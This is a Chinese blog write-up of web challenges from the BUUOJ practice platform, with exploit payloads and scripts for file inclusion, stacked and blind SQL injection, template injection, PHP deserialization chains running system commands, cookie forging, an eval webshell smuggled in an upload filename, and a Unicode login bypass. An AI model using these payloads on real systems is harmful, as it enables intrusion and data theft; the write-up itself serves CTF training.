最近发现北京联合大学的OJ平台特别不错,题目都是近期比赛的题,有些是在比赛中解出了的,有些没有解出刚好想要复现,这里简单记录下解题的思路过程,有时间练手就更新。平台地址:https://buuoj.cn/
0x01 Warmup 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 <?php highlight_file(__FILE__ ); class emmm { public static function checkFile (&$page) { $whitelist = ["source" =>"source.php" ,"hint" =>"hint.php" ]; if (! isset ($page) || !is_string($page)) { echo "you can't see it" ; return false ; } if (in_array($page, $whitelist)) { return true ; } $_page = mb_substr( $page, 0 , mb_strpos($page . '?' , '?' ) ); if (in_array($_page, $whitelist)) { return true ; } $_page = urldecode($page); $_page = mb_substr( $_page, 0 , mb_strpos($_page . '?' , '?' ) ); if (in_array($_page, $whitelist)) { return true ; } echo "you can't see it" ; return false ; } } if (! empty ($_REQUEST['file' ]) && is_string($_REQUEST['file' ]) && emmm::checkFile($_REQUEST['file' ]) ) { include $_REQUEST['file' ]; exit ; } else { echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />" ; } ?>
考点为 phpmyadmin4.8.1远程文件包含漏洞(CVE-2018-12613) ,payload:
1 file =hint.php?../../ ../../ ../../ ../ffffllllaaaagggg
0x02 随便注 (强网杯线上题)
考点为堆叠注入,也就是以用分号执行多条sql注入语句,并且ban了select等查询关键字,不过题目环境设置默认存在一个select,所以逻辑就是在flag所在的表插入一个id列,将原表改名为其他,flag表改名为查询表,直接查询id=1,即可得到flag。查询表名语句:
可以查看到存放flag的表1919810931114514和当前查询表words,payload:
1 1';alter table `1919810931114514` add `id` INT (11 ) NOT NULL DEFAULT '1' after `flag` ;rename table words to words1;rename table `1919810931114514` to words;desc words;
直接查询id=1即可得flag
0x03 easy_tornado (护网杯)
根据查看文件内容的url:/file?filename=/hints.txt&filehash=bf60e1051f59dbb931208200bcf8c08e 以及hint.txt中的提示内容:md5(cookie_secret+md5(filename))可以很清楚该题得逻辑,令filename=/fllllllllllllag,找到cookie_secret,计算出filehash值即可,该题考点在于ssti,ssti点在/msg={{}}处,所以查看{{handle_settings}} 可以得到相关的配置信息,其中cookie_secret=M)Z.>}{O]lYIp(oW7$dc132uDaK<C%wqj@PA![VtR#geh9UHsbnL_+mT5N~J84*r用于计算filehash
1 2 3 4 5 6 <?php $cookie_secret = 'M)Z.>}{O]lYIp(oW7$dc132uDaK<C%wqj@PA![VtR#geh9UHsbnL_+mT5N~J84*r' ; $filename = '/fllllllllllllag' ; echo md5($cookie_secret.md5($filename));?>
最终payload:
1 /file ?filename =/fllllllllllllag&filehash =70aed71508e50d160a73756a21e9953d
0x04 Ciscn 总决赛 Laravel laravel的1Day漏洞,按理说这题是很难的,只不过出题人留了个session文件,里面有payload,直接改下就可以用,虽然说现场时我是硬挖~。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php namespace Symfony \Component \Cache \Adapter ;class TagAwareAdapter { public $deferred = array (); function __construct ($x) { $this ->pool = $x; } } class ProxyAdapter { protected $setInnerItem = 'system' ; } namespace Symfony \Component \Cache ;class CacheItem { protected $innerItem = 'cat /flag' ; } $a = new \Symfony\Component\Cache\Adapter\TagAwareAdapter(new \Symfony\Component\Cache\Adapter\ProxyAdapter()); $a->deferred = array ('aa' =>new \Symfony\Component\Cache\CacheItem); echo urlencode(serialize($a));
payload:
1 O%3 A47%3 A%22 Symfony%5 CComponent%5 CCache%5 CAdapter%5 CTagAwareAdapter%22 %3 A2%3 A%7 Bs%3 A8%3 A%22 deferred%22 %3 Ba%3 A1%3 A%7 Bs%3 A2%3 A%22 aa%22 %3 BO%3 A33%3 A%22 Symfony%5 CComponent%5 CCache%5 CCacheItem%22 %3 A1%3 A%7 Bs%3 A12%3 A%22 %00 %2 A%00 innerItem%22 %3 Bs%3 A9%3 A%22 cat+%2 Fflag%22 %3 B%7 D%7 Ds%3 A4%3 A%22 pool%22 %3 BO%3 A44%3 A%22 Symfony%5 CComponent%5 CCache%5 CAdapter%5 CProxyAdapter%22 %3 A1%3 A%7 Bs%3 A15%3 A%22 %00 %2 A%00 setInnerItem%22 %3 Bs%3 A6%3 A%22 system%22 %3 B%7 D%7 D
比赛中修复是通过直接删除TagAwareAdapter中的__destruct魔术方法进行加固
0x05 Ciscn 总决赛 easyweb 漏洞点应该不是一个,解题时利用的是upload处的file_put_contents,由于会将文件名写入.log.php文件中,所以可以直接植入任意代码,中间就一个过来php,可以利用= ?>来执行php代码(这里一定要闭合),不过到达上传点需要先登录,在user.php和upload.php中都需要 username===admin 分析代码 function.php
1 2 3 4 5 6 7 8 function is_login () { global $username,$secret; if (!isset ($_COOKIE["username" ])) return false ; $username=decode($_COOKIE["username" ],$secret); return true ; }
写脚本计算cookie
1 2 3 4 5 6 7 8 9 10 11 12 <?php function encode ($str,$key) { $tmp="" ; for ($i=0 ;$i<strlen($str);$i++) { $tmp .= chr(ord($str[$i])^ord($key[$i%strlen($key)])); } return base64_encode($tmp); } $secret="!*(fp60zoy" ; echo encode('admin' ,$secret);
得到cookie[‘username’] = QE5FDx4= ,到user.php中发包即可
1 2 3 .. .. .. Content-Disposition: form-data; name ="file" ; filename ="<?= eval($_REQUEST [pass]);?>" Content-Type: image/png
0x06 高明的黑客 (强网杯线上题)
我解这题是通过爆破解的 ~~,写了一个脚本,抓取文件中$_GET和$_POST里的参数,然后通过发送请求包执行echo xxxxx;的命令,如果xxxxx出了,说明执行成功了,也就是找到后门了,结果真的跑出来了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import requests import re import os from time import sleep flies = os.listdir('./src' ) for i in flies: url = 'http://127.0.0.1/src/' +i f = open('./src/' +i) bb = f.read() f.close() rr = re.compile(r'(?<=_GET\[\').*(?=\'\])' ) aa = rr.findall(bb) for c in aa: payload = url + '/?' + c + '=phpinfo();' print payload req.requests.get(payload) if 'Windows NT C 6.1 build' in req.content: print payload exit ();
最后找到是xk0SzyKwfzw.php,交互参数为:Efa5BVG
1 2 3 4 5 6 7 8 9 10 <?php $XnEGfa = $_GET['Efa5BVG' ] ?? ' ' ; $aYunX = "sY" ; $aYunX .= "stEmXnsTcx" ; $aYunX = explode('Xn' , $aYunX); $kDxfM = new stdClass(); $kDxfM->gHht = $aYunX[0 ]; ($kDxfM->gHht)($XnEGfa);
其中$kDxfM->gHht 的值为 sYstEm,所以传个命令就好了。
0x07 upload (强网杯线上题)
考点为信息收集+反序列化利用,直接访问www.tar.gz
获得源码。思路为:上传一个含有一句话木马的图片,通过反序列化漏洞将png图片修改为php文件其中反序列化点在Index.php中
1 2 3 4 5 6 7 8 9 10 11 12 public function login_check () { $profile=cookie('user' ); if (!empty ($profile)){ $this ->profile=unserialize(base64_decode($profile)); $this ->profile_db=db('user' )->where("ID" ,intval($this ->profile['ID' ]))->find(); if (array_diff($this ->profile_db,$this ->profile)==null ){ return 1 ; }else { return 0 ; } } }
序列化点在Login.phph中
1 2 3 4 5 6 7 8 if ($user_info) { if (md5($password) === $user_info['password' ]) { $cookie_data=base64_encode(serialize($user_info)); cookie("user" ,$cookie_data,3600 ); $this ->success('Login successful!' , url('../home' )); } else { $this ->error('Login failed!' , url('../index' )); }
其中反序列化的参数值取自于cookie[‘user’],我们可以控制,并且在Prifile.php中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 public function upload_img () { if ($this ->checker){ if (!$this ->checker->login_check()){ $curr_url="http://" .$_SERVER['HTTP_HOST' ].$_SERVER['SCRIPT_NAME' ]."/index" ; $this ->redirect($curr_url,302 ); exit (); } } if (!empty ($_FILES)){ $this ->filename_tmp=$_FILES['upload_file' ]['tmp_name' ]; $this ->filename=md5($_FILES['upload_file' ]['name' ]).".png" ; $this ->ext_check(); } if ($this ->ext) { if (getimagesize($this ->filename_tmp)) { @copy($this ->filename_tmp, $this ->filename); @unlink($this ->filename_tmp); $this ->img="../upload/$this->upload_menu/$this->filename" ; $this ->update_img(); }else { $this ->error('Forbidden type!' , url('../index' )); } }else { $this ->error('Unknow file type!' , url('../index' )); } }
在不上传文件的情况下,即empty($_FILES)为真值时,触发upload_img()即可修改文件名所以攻击链为Register中的destruct ->Profile中的 call->__get->upload_img
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 <?php namespace app \web \controller ;class Profile { public $checker; public $filename_tmp; public $filename; public $upload_menu; public $ext; public $img; public $except; } class Register { public $checker; public $registed; } $check = new Register(); $check->registed=0 ; $check->checker = new Profile(); $check->checker->except=array ('index' =>'upload_img' ); $check->checker->ext=1 ; $check->checker->filename_tmp="./upload/2b7bc98024d801eda1d1f9120e838398/fb5c81ed3a220004b71069645f112867.png" ; $check->checker->filename="./upload/2b7bc98024d801eda1d1f9120e838398/fb5c81ed3a220004b71069645f112867.php" ; echo base64_encode(serialize($check));
没找到flag~
0x08 Hack word 一道盲注题,语句:id=if(ascii(substr((select(flag)from(flag)),1,1))=102,2,1),其中select(xx)from(xx)的用法,需要知道列名才可以用,题目直接给了,所以直接用脚本跑就好了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import requests url ='http://web43.buuoj.cn/index.php' ll = 'fqwertyuiopasdfghjklzxcvbnm}{1234567890' flag ='' for i in range(1,50): for j in ll: cha = ord(j) ss ='if(ascii(substr((select(flag)from(flag)),%s,1))=%s,2,1)' %(i,cha) sql={"id" :ss} req =requests.post(url=url,data=sql) if "Do you want" in req.content.decode('UTF-8' ): flag+=j print (flag) break print (flag)
0x09 piapiapia 访问www.zip可以拿到源码,所以主要就是代码审计的事情,不过在查看网页源码的时候,可以看到相关文件的base64值,所以思路也就是让photo对应的文件为config.php文件,就可以得到flag了。
0x0A admin (HCTF的题目)
这题一共有三个解法,题目源码在登入任意账号后到改密码页面有提示:https://github.com/woadsl1234/hctf_flask/,本题的主要考点在于Unicode欺骗,所以这里只记录该解法,其中routes.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 def register (): ...... if request.method == 'POST ': name = strlower(form.username.data) ...... def login(): ...... if request.method == 'POST ': name = strlower(form.username.data) session['name' ] = name ...... def change(): ...... if request.method == 'POST ': name = strlower(session['name' ])
经过了三次的strlower小写转换,其中strlow函数为
1 2 3 def strlower (username) : username = nodeprep.prepare(username) return username
该版本的Twisted库对于Unicode中的Small Capital,例如ᴀ的转换过程为ᴀ -> A -> a,恰好代码中的注册,登录,改密码操作中执行的nodeprep.prepare()次数足够将ᴀᴅᴍɪɴ转成admin,也就是注册一个ᴀᴅᴍɪɴ账号,绕后登录后修改密码时修改的时admin账号的密码。该题有三个解法,其他解法阔以看看飘零兄写的文章:https://www.anquanke.com/post/id/164086
0x0B DE1CTF赛题 参考本菜的De1CTF web wp即可:https://www.jianshu.com/p/0a02f4ff6a7e
最近太忙了,没时间刷题了,有时间再写